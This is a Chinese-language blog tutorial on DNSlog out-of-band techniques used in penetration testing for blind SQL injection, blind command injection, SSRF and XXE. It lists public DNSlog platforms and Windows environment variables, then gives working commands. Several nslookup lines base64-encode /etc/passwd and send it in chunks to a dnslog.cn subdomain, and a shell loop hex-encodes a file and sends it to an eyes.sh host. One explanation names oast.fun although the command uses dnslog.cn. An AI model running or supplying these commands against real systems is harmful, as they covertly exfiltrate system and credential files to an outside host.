❤️博客主页 iknow181
🔥系列专栏 网络安全、 PythonJavaSEJavaWebCCNP
🎉欢迎大家点赞👍收藏⭐评论✍


在这里插入图片描述

1.什么是DNSlog

我们都知道DNS就是将域名解析为ip,用户在浏览器上输入一个域名A.com,就要靠DNS服务器将A.com解析到它的真实ip127.0.0.1,这样就可以访问127.0.0.1服务器上的相应服务。
那么DNSlog是什么。DNSlog就是存储在DNS服务器上的域名信息,它记录着用户对域名www.baidu.com等的访问信息,类似日志文件。

2.为什么要用 DNSlog

在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起 DNS 请求,这个时候就可以通过这种方式把想获得的数据外带出来。

3.DNSlog回显原理

前面说DNSlog就是日志,那怎么用DNSlog进行注入并回显信息呢。通俗的说就是我有个已注册的域名a.com,我在域名代理商那里将域名设置对应的ip 1.1.1.1 上,这样当我向dns服务器发起a.com的解析请求时,DNSlog中会记录下他给a.com解析,解析值为1.1.1.1,而我们这个解析的记录的值就是我们要利用的地方。

看个直观一点的例子来理解:
ping命令的时候会用到DNS解析所以我就用ping命令做个实验。


DNSlog.cn中也记录了下来

可以看到解析的日志会把%USERNAME%的值给带出来,因为系统在ping命令之前会将%USERNAME%的值解析出来,然后再和a.com拼接起来,最后ping命令执行将XF.a.com一起发给DNS服务器请求解析域名对应的ip地址,这个过程被记录下来就是DNSlog,看到这里应该有点感觉了。原理上只要能进行DNS请求的函数都可能存在DNSlog注入。

4.DNSLog 平台

DNSLog Platform

http://www.dnslog.cn/

互联网

DNSLog.cn 无需注册即可使用的DNSLog平台

CEYE.io

http://ceye.io/

互联网

CEYE.io - DNSLog 平台

Interact.sh | Web Client

https://app.interactsh.com/#/

互联网

Interact.sh | Web Client

eyes.sh

http://eyes.sh/

互联网

DNSLog/HTTPLog tool for pentesters

T00LS DNSLog

https://www.t00ls.com/dnslog.html

互联网

T00LS DNSLog(需登录)

DNSLog.pw

http://dnslog.pw/

互联网

dnslog.pw

Dig.pm

https://dig.pm/

互联网

Dig.pm

dnslog.ink

http://dnslog.ink/

互联网

dnslog.ink

5.DNSlog通常用在哪些地方

大家在渗透测试的时候可能会遇到一下这些情况:

  • 挖到一个有SQL盲注的站点,可是用sqlmap跑需要频繁请求,最后导致ip被ban
  • 发现疑似命令注入的洞,但是目标站点什么也不显示,无法确认是不是有洞

总之就是目标不让信息显示出来,如果能发送请求,那么就可以尝试咱这个办法——用DNSlog来获取回显

(1)SQL注入中的盲注

(2)XSS盲打

(3)无回显的命令执行

(4)无回显的SSRF

(5)无回显的XXE(Blind XXE)

5.1 无回显的命令执行

5.1.1 介绍

我们在读取文件、执行命令注入等操作时无法明显的确认是否利用成功

5.1.2 利用

发现疑似命令执行的洞,但是目标站点什么也不显示,无法确认是不是有洞

5.1.2.1 Windows

如果是win系统,简单的ping %os%.xxxx.cete.io即可

DNSlog这边得到了os的信息,那么就说明这里存在命令注入

下面是windows的常用变量:

//变量                     类型       描述
//%ALLUSERSPROFILE%        本地       返回“所有用户”配置文件的位置。
//%APPDATA%                本地       返回默认情况下应用程序存储数据的位置。
//%CD%                     本地       返回当前目录字符串。
//%CMDCMDLINE%             本地       返回用来启动当前的 Cmd.exe 的准确命令行。
//%CMDEXTVERSION%          系统       返回当前的“命令处理程序扩展”的版本号。
//%COMPUTERNAME%           系统       返回计算机的名称。
//%COMSPEC%                系统       返回命令行解释器可执行程序的准确路径。
//%DATE%                   系统       返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。
//%ERRORLEVEL%             系统       返回上一条命令的错误代码。通常用非零值表示错误。
//%HOMEDRIVE%              系统       返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMEPATH%               系统       返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMESHARE%              系统       返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%LOGONSERVER%            本地       返回验证当前登录会话的域控制器的名称。
//%NUMBER_OF_PROCESSORS%   系统       指定安装在计算机上的处理器的数目。
//%OS%                     系统       返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
//%PATH%                   系统       指定可执行文件的搜索路径。
//%PATHEXT%                系统       返回操作系统认为可执行的文件扩展名的列表。
//%PROCESSOR_ARCHITECTURE% 系统       返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
//%PROCESSOR_IDENTFIER%    系统       返回处理器说明。
//%PROCESSOR_LEVEL%        系统       返回计算机上安装的处理器的型号。
//%PROCESSOR_REVISION%     系统       返回处理器的版本号。
//%P ROMPT%                 本地       返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
//%RANDOM%                 系统       返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
//%SYSTEMDRIVE%            系统       返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。
//%SYSTEMROOT%             系统       返回 Windows server operating system 根目录的位置。
//%TEMP%和%TMP%            系统和用户  返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
//%TIME%                   系统       返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息,请参阅 Time。
//%USERDOMAIN%             本地       返回包含用户帐户的域的名称。
//%USERNAME%               本地       返回当前登录的用户的名称。
//%USERPROFILE%            本地       返回当前用户的配置文件的位置。
//%WINDIR%                 系统       返回操作系统目录的位置。
5.1.2.2 Linux

如果目标系统是linux的话,则可用shell语言

5.1.2.3 如何将一个文件的内容外带出来

可以通过 nslookup 命令将 /etc/passwd 文件中的部分内容通过 DNS 查询外带到一个外部域名上。这种方法是通过 DNS 查询来传输数据,非常适用于隐蔽的数据外带。

解析命令

nslookup $(cat /etc/passwd | base64 | head -c 63).g23a5v.dnslog.cn

命令组成部分:

  1. cat /etc/passwd
    • 读取 /etc/passwd 文件的内容。这个文件包含系统中所有用户的信息。
  1. base64
    • 将文件内容编码为 Base64。这是因为 DNS 查询的主机名通常只能包含字母、数字、连字符等字符,Base64 编码可以确保数据在这些限制内。
  1. head -c 63
    • 截取 Base64 编码后的前 63 个字符。因为 DNS 查询的子域名长度有限,通常为 63 字符以内。
  1. nslookup ... .g23a5v.dnslog.cn
    • 使用 nslookup 发送一个 DNS 查询请求,将数据附加在子域名上。这个请求会被发送到 oast.fun 域名的 DNS 服务器,通常该域名由攻击者控制,可以记录这些请求。

过程

要将 /etc/passwd 文件的全部内容通过 DNS 查询逐步外带出去,可以分批次发送这些数据。这通常是通过分块读取文件内容,然后使用多个 nslookup 命令来完成。

分块读取并发送数据

可以使用 tailhead 命令来读取并发送所有的字符。下面是一个例子:

1. 发送第1块(前63个字符):
nslookup $(cat /etc/passwd | base64 | head -c 63).g23a5v.dnslog.cn

2. 发送第2块(64-126个字符):
nslookup $(cat /etc/passwd | base64 | tail -c +64 | head -c 63).g23a5v.dnslog.cn
3. 发送第3块(127-189个字符):
nslookup $(cat /etc/passwd | base64 | tail -c +127 | head -c 63).g23a5v.dnslog.cn

解释命令

  • tail -c +64:从第64个字符开始读取。
  • head -c 63:截取接下来的63个字符。

通过逐步增加 tail -c +N 中的 N 值,你可以依次读取并发送文件的后续块内容。

自动化整个过程

为了自动化整个过程,可以使用循环将文件内容分批次发送出去:

这里的 DNSlog 平台最好使用可以查看历史记录的,因为如果文件内容大多话,数据会很多,我用的http://eyes.sh/,可以随机登录,挺方便的。

这里就不用/etc/passwd 演示了,自己创建了一个文件,假设为重要文件,将它外带出来

这里使用了 hex 编码,因为 base64 后有大写字母,而 dnslog 外带出去是会全变成小写,造成失真。

od -An -tx1 /root/test.txt | tr -d ' \n' | fold -w 63 | while read -r chunk; do
  nslookup "$chunk.prindqd5.eyes.sh"
done

拼接 然后 hex 解码,

注意事项

  • 带宽限制:DNS请求长度有限,分块时每块最多63个字符。
  • 请求数量:如果文件较大,需要发送大量请求。

在这里插入图片描述

Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐